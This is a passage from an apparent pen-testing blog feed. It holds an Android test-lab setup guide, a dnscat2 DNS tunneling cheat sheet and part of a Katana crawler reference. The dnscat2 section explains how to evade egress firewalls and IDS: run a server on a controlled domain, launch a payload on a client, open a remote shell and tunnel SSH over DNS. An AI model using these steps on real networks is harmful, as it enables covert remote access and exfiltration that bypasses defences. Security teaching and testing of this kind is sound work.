  &lt;li&gt;Tap Network &amp;amp; Internet &amp;gt; Wi-Fi &amp;gt; Long Tap on the connected Wi-Fi network and Select Modify Network&lt;/li&gt;
  &lt;li&gt;Tap Advanced &amp;gt; Proxy &amp;gt; Manual and enter the same Proxy settings you entered in step 1&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&quot;/img/android-pen-testing-env-02.png&quot; alt=&quot;Android Burp Proxy Settings&quot; title=&quot;Android Burp Proxy Settings&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;3-android-burp-certificate-installation&quot;&gt;3. Android Burp Certificate Installation&lt;/h3&gt;

&lt;ol&gt;
  &lt;li&gt;Go to your web browser and download the certifcate file from http://burp&lt;/li&gt;
  &lt;li&gt;Rename it to .cer&lt;/li&gt;
  &lt;li&gt;Drag it into the running GenyMotion phone (this will place the file at /sd-card/)&lt;/li&gt;
  &lt;li&gt;On the phone go to Settings &amp;gt; Security &amp;amp; Location &amp;gt; Encryption &amp;amp; Location &amp;gt; Install from SD card (Install certificates from SD card)&lt;/li&gt;
  &lt;li&gt;Click Downloads on the left and select the .cer file&lt;/li&gt;
  &lt;li&gt;Install the certificate and call it Burp&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&quot;/img/android-pen-testing-env-03.png&quot; alt=&quot;Android Burp Certificate Install&quot; title=&quot;Android Burp Certificate Install&quot; /&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;You will need to set a pin code, set one&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;4-burp-proxy-settings&quot;&gt;4. Burp Proxy Settings&lt;/h3&gt;

&lt;p&gt;Add a Burp proxy on the interface with the IP and port used at step 1&lt;/p&gt;

&lt;h3 id=&quot;5-adb&quot;&gt;5. ADB&lt;/h3&gt;

&lt;ol&gt;
  &lt;li&gt;Install brew&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;brew install android-platform-tools&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;adb devices&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;List of devices attached
192.168.XX.XXX:5555	device&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;ol&gt;
  &lt;li&gt;adb shell&lt;/li&gt;
&lt;/ol&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;vbox86p:/ &lt;span class=&quot;c&quot;&gt;# ls&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Your id should be root on GenyMotion.&lt;/p&gt;

&lt;h3 id=&quot;6-installing-apk-files&quot;&gt;6. Installing APK FIles&lt;/h3&gt;

&lt;p&gt;There are two options for installing APK files, using adb or dragging and dropping.&lt;/p&gt;

&lt;p&gt;Using ADB:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;adb &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;file.apk&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Or drag and drop the apk file into the running GenyMotion Android device.&lt;/p&gt;

&lt;h3 id=&quot;7-adb-basic-commands&quot;&gt;7. ADB Basic Commands&lt;/h3&gt;

&lt;p&gt;Installed Android application location:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; /data/data&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;For a more in depth guide on how to use ADB see our &lt;a href=&quot;/blog/adb-command-cheat-sheet/&quot;&gt;ADB commands&lt;/a&gt; cheat sheet here.&lt;/p&gt;

&lt;h3 id=&quot;8-open-gapps&quot;&gt;8. Open GApps&lt;/h3&gt;

&lt;p&gt;If you are assessing an application from the Play Store then you can install open gapps in GenyMotion by clickin on the icon on the right hand menu.&lt;/p&gt;

&lt;p&gt;Enjoy.&lt;/p&gt;
</description>
        </item>
        
      
    
      
        
        <item>
          <title>DNS Tunneling dnscat2 Cheat Sheet</title>
          <link>https://hacksofdhruv.me/blog/dns-tunnel-dnscat2-cheat-sheet/</link>
          <pubDate>Mon, 24 Jun 2024 10:29:10 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>Pen-Testing</category>
          
          <category>Infrastructure</category>
          
          <category>cheat-sheet</category>
          
          
          <category>cheat-sheet</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/dns-tunnel-dnscat2-cheat-sheet/</guid>
          <description>&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#what-is-dns-tunneling&quot; id=&quot;markdown-toc-what-is-dns-tunneling&quot;&gt;What is DNS Tunneling&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#you-will-need&quot; id=&quot;markdown-toc-you-will-need&quot;&gt;You Will Need&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#buying-a-domain&quot; id=&quot;markdown-toc-buying-a-domain&quot;&gt;Buying a Domain&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#how-to-change-name-servers-on-namesilo&quot; id=&quot;markdown-toc-how-to-change-name-servers-on-namesilo&quot;&gt;How to Change Name Servers On NameSilo&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#dns-forwarding-with-dnscat2&quot; id=&quot;markdown-toc-dns-forwarding-with-dnscat2&quot;&gt;DNS Forwarding with Dnscat2&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#dnscat2-port-forwarding&quot; id=&quot;markdown-toc-dnscat2-port-forwarding&quot;&gt;Dnscat2 Port Forwarding&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;what-is-dns-tunneling&quot;&gt;What is DNS Tunneling&lt;/h2&gt;

&lt;p&gt;DNS tunneling is used to evade egress firewall rules and/or IDS / proxy or other web filtering applicances by tunneling data over DNS. DNS tunneling usually works as external DNS resolution is available on most networks, it should be noted that DNS tunneling is slow due to the low amounts of data that can be transfered. 
&lt;!--more--&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What You Will Learn:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;What is DNS tunneling&lt;/li&gt;
  &lt;li&gt;How to setup dnscat2&lt;/li&gt;
  &lt;li&gt;How to tunnel data over dnscat2&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;you-will-need&quot;&gt;You Will Need&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;A real world domain, &lt;a href=&quot;https://www.namesilo.com/?rid=45f0146bp &quot; rel=&quot;nofollow&quot;&gt;NameSilo&lt;/a&gt; works well and has free WHOIS privacy.&lt;/li&gt;
  &lt;li&gt;A VPS to run DNSCAT2 - &lt;a href=&quot;https://www.linode.com/?r=de68d06f20e245c4952795b3a57180b223ff4d42&quot; rel=&quot;nofollow&quot;&gt;Linode is cheap and works for this and this link will give you a $100 voucher&lt;/a&gt; (see instructions below)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In order to tunnel data over DNS a real world domain must be used and the domains authoritivate name servers must be set to servers in your control.&lt;/p&gt;

&lt;h2 id=&quot;buying-a-domain&quot;&gt;Buying a Domain&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://www.namesilo.com/?rid=45f0146bp &quot; rel=&quot;nofollow&quot;&gt;NameSilo&lt;/a&gt;  offers free domain WHOIS privacy, a lot of extensions and is well priced.&lt;/p&gt;

&lt;h3 id=&quot;how-to-change-name-servers-on-namesilo&quot;&gt;How to Change Name Servers On NameSilo&lt;/h3&gt;

&lt;p&gt;Login to &lt;a href=&quot;https://www.namesilo.com/?rid=45f0146bp &quot; rel=&quot;nofollow&quot;&gt;NameSilo&lt;/a&gt; and follow these instructions to change the authoritative name servers:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Go to the Domain Manager page within your account&lt;/li&gt;
  &lt;li&gt;Click the applicable domain name (it will be underlined in black)&lt;/li&gt;
  &lt;li&gt;Click the “View/Manage Registered NameServers” link within the “NameServers” box&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;dns-forwarding-with-dnscat2&quot;&gt;DNS Forwarding with Dnscat2&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;Install dsncat2 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;apt-get install dnscat2 -y&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Run:  &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dnscat2-server yourdomain.com&lt;/code&gt; on your VPS&lt;/li&gt;
  &lt;li&gt;From the client machine you will need to run the dnscat2 payload&lt;/li&gt;
  &lt;li&gt;If your domain’s NS are configured correctly the session should be established&lt;/li&gt;
  &lt;li&gt;Enter &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;session -i&lt;/code&gt; to spawn an interactive session&lt;/li&gt;
  &lt;li&gt;Launch a shell using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;shell&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;dnscat2-port-forwarding&quot;&gt;Dnscat2 Port Forwarding&lt;/h2&gt;

&lt;p&gt;Dnscat2 supports TCP forwarding allowing you to tunnel SSH or RDP connections over the established DNS tunnel.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt; 
&lt;span class=&quot;nb&quot;&gt;command&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;client&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; 4&amp;gt; listen 127.0.0.1:22 target:22 &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Again this will slow but functional.&lt;/p&gt;

&lt;p&gt;Enjoy.&lt;/p&gt;
</description>
        </item>
        
      
    
      
        
        <item>
          <title>Katana Cheat Sheet - Commands, Flags &amp; Examples</title>
          <link>https://hacksofdhruv.me/blog/katana-cheat-sheet/</link>
          <pubDate>Thu, 06 Jun 2024 14:37:10 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>Katana</category>
          
          <category>Tools</category>
          
          <category>Project Discovery</category>
          
          <category>Pen-Testing</category>
          
          <category>cheat-sheet</category>
          
          
          <category>cheat-sheet</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/katana-cheat-sheet/</guid>
          <description>&lt;p&gt;&lt;img src=&quot;/img/katana-logo.png&quot; alt=&quot;Katana Logo&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;what-is-katana&quot;&gt;What is Katana&lt;/h2&gt;

&lt;p&gt;Katana is a fast web crawler made by Project Discovery. The tool is both headless and non-headless with a focus on being used in automation workflows. For example Katana could be used to crawl a target and stored all crawled data, or Katana could be used to crawl a site and store all urls with inputs. The following Katana cheat sheet aims to provide an overview of the tools functionality and provide real world examples from existing workflows.&lt;/p&gt;

&lt;h2 id=&quot;install-katana&quot;&gt;Install Katana&lt;/h2&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;go &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;github.com/projectdiscovery/katana/cmd/katana@latest&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#what-is-katana&quot; id=&quot;markdown-toc-what-is-katana&quot;&gt;What is Katana&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#install-katana&quot; id=&quot;markdown-toc-install-katana&quot;&gt;Install Katana&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#basic-usage&quot; id=&quot;markdown-toc-basic-usage&quot;&gt;Basic Usage&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#katana-cheat-sheet&quot; id=&quot;markdown-toc-katana-cheat-sheet&quot;&gt;Katana Cheat Sheet&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#katana-input-commands&quot; id=&quot;markdown-toc-katana-input-commands&quot;&gt;Katana Input Commands&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#katana-configuration-options&quot; id=&quot;markdown-toc-katana-configuration-options&quot;&gt;Katana Configuration Options&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#katana-debug-options&quot; id=&quot;markdown-toc-katana-debug-options&quot;&gt;Katana Debug Options&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#katana-headless-mode-options&quot; id=&quot;markdown-toc-katana-headless-mode-options&quot;&gt;Katana Headless Mode Options&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#katana-passive-crawling&quot; id=&quot;markdown-toc-katana-passive-crawling&quot;&gt;Katana Passive Crawling&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#katana-scope-options&quot; id=&quot;markdown-toc-katana-scope-options&quot;&gt;Katana Scope Options&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#katana-filters&quot; id=&quot;markdown-toc-katana-filters&quot;&gt;Katana Filters&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#katana-rate-limiting&quot; id=&quot;markdown-toc-katana-rate-limiting&quot;&gt;Katana Rate Limiting&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#how-to-update-katana&quot; id=&quot;markdown-toc-how-to-update-katana&quot;&gt;How To Update Katana&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#katana-output-file-options&quot; id=&quot;markdown-toc-katana-output-file-options&quot;&gt;Katana Output File Options&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#katana-example-commands&quot; id=&quot;markdown-toc-katana-example-commands&quot;&gt;Katana Example Commands&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#katana-output-query-paramaters&quot; id=&quot;markdown-toc-katana-output-query-paramaters&quot;&gt;Katana Output Query Paramaters&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#conclusion&quot; id=&quot;markdown-toc-conclusion&quot;&gt;Conclusion&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;basic-usage&quot;&gt;Basic Usage&lt;/h2&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;katana &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; target-domain.com &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;katana-cheat-sheet&quot;&gt;Katana Cheat Sheet&lt;/h2&gt;

&lt;h3 id=&quot;katana-input-commands&quot;&gt;Katana Input Commands&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
  &lt;table&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th&gt;COMMAND&lt;/th&gt;
        &lt;th&gt;DESCRIPTION&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-u, -list string[]&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;target url / list to crawl&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-resume string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;resume scan using resume.cfg&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-e, -exclude string[]&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;exclude host matching specified filter (&apos;cdn&apos;, &apos;private-ips&apos;, cidr, ip, regex)&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;katana-configuration-options&quot;&gt;Katana Configuration Options&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
  &lt;table&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th&gt;COMMAND&lt;/th&gt;
        &lt;th&gt;DESCRIPTION&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-u, -list string[]&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;target url / list to crawl&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-resume string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;resume scan using resume.cfg&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-e, -exclude string[]&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;exclude host matching specified filter (&apos;cdn&apos;, &apos;private-ips&apos;, cidr, ip, regex)&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-r, -resolvers string[]&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;list of custom resolver (file or comma separated)&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-d, -depth int&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;maximum depth to crawl (default 3)&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-jc, -js-crawl&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;enable endpoint parsing / crawling in javascript file&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-jsl, -jsluice&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;enable jsluice parsing in javascript file (memory intensive)&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-ct, -crawl-duration value&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;maximum duration to crawl the target for (s, m, h, d) (default s)&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-kf, -known-files string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;enable crawling of known files (all,robotstxt,sitemapxml), a minimum depth of 3 is required to ensure all known files are properly crawled.&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-mrs, -max-response-size int&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;maximum response size to read (default 9223372036854775807)&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-timeout int&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;time to wait for request in seconds (default 10)&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-aff, -automatic-form-fill&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;enable automatic form filling (experimental)&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-fx, -form-extraction&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;extract form, input, textarea &amp;amp; select elements in jsonl output&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-retry int&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;number of times to retry the request (default 1)&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-proxy string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;http/socks5 proxy to use&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-H, -headers string[]&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;custom header/cookie to include in all http request in header:value format (file)&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-config string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;path to the katana configuration file&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-fc, -form-config string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;path to custom form configuration file&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-flc, -field-config string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;path to custom field configuration file&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-s, -strategy string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Visit strategy (depth-first, breadth-first) (default &quot;depth-first&quot;)&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-iqp, -ignore-query-params&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Ignore crawling same path with different query-param values&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-tlsi, -tls-impersonate&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;enable experimental client hello (ja3) tls randomization&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-dr, -disable-redirects&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;disable following redirects (default false)&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;katana-debug-options&quot;&gt;Katana Debug Options&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
  &lt;table&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th&gt;COMMAND&lt;/th&gt;
        &lt;th&gt;DESCRIPTION&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-health-check, -hc&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;run diagnostic check up&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-elog, -error-log string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;file to write sent requests error log&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;katana-headless-mode-options&quot;&gt;Katana Headless Mode Options&lt;/h3&gt;

&lt;p&gt;Allow Katana to scan using a real browser, to pretent targets / wafs fingerprint blocking - your traffic will appear to be from a legitimate web browsers fingerprint.&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
  &lt;table&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th&gt;COMMAND&lt;/th&gt;
        &lt;th&gt;DESCRIPTION&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-hl, -headless&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;enable headless hybrid crawling (experimental)&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-sc, -system-chrome&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;use local installed chrome browser instead of katana installed&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-sb, -show-browser&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;show the browser on the screen with headless mode&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-ho, -headless-options string[]&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;start headless chrome with additional options&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-nos, -no-sandbox&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;start headless chrome in --no-sandbox mode&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-cdd, -chrome-data-dir string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;path to store chrome browser data&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-scp, -system-chrome-path string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;use specified chrome browser for headless crawling&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-noi, -no-incognito&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;start headless chrome without incognito mode&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-cwu, -chrome-ws-url string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;use chrome browser instance launched elsewhere with the debugger listening at this URL&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-xhr, -xhr-extraction&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;extract xhr request url,method in jsonl output&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;katana-passive-crawling&quot;&gt;Katana Passive Crawling&lt;/h3&gt;

&lt;p&gt;Using third party locations such as the wayback machine, crawl a target passively (without ever touching the target).&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
  &lt;table&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th&gt;COMMAND&lt;/th&gt;
        &lt;th&gt;DESCRIPTION&lt;/th&gt;
      &lt;/tr&gt;
